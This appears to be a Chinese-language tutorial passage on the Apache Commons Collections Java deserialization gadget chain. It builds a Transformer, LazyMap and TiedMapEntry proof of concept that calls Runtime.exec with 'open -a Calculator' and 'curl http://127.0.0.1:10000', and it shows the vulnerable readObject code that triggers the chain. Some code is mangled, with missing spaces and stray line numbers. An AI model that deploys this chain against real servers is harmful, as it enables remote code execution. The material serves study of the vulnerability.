InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); obj = in.readObject(); obj.transform(Runtime.getRuntime()); in.close();
public Object transform(Object input){ return iConstant; } }
因此构造
1 2 3 4 5 6 7 8
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator") 现在反序列化后就可以obj.transform("随意输入");这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。
Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; }
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
publicstaticvoidmain(String[] args)throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
public Object get(Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
factory同样可控,key任意值不会影响结果。
1 2 3 4 5 6 7
protectedLazyMap(Map map, Transformer factory){ super(map); if (factory == null) { thrownew IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
public String toString(){ return getKey() + "=" + getValue(); }
修改poc
1 2 3 4 5 6 7 8 9 10 11 12 13
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");
序列化entry对象,当漏洞反序列化代码如下时触发漏洞:
1 2 3 4
InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); System.out.println(in.readObject()); in.close();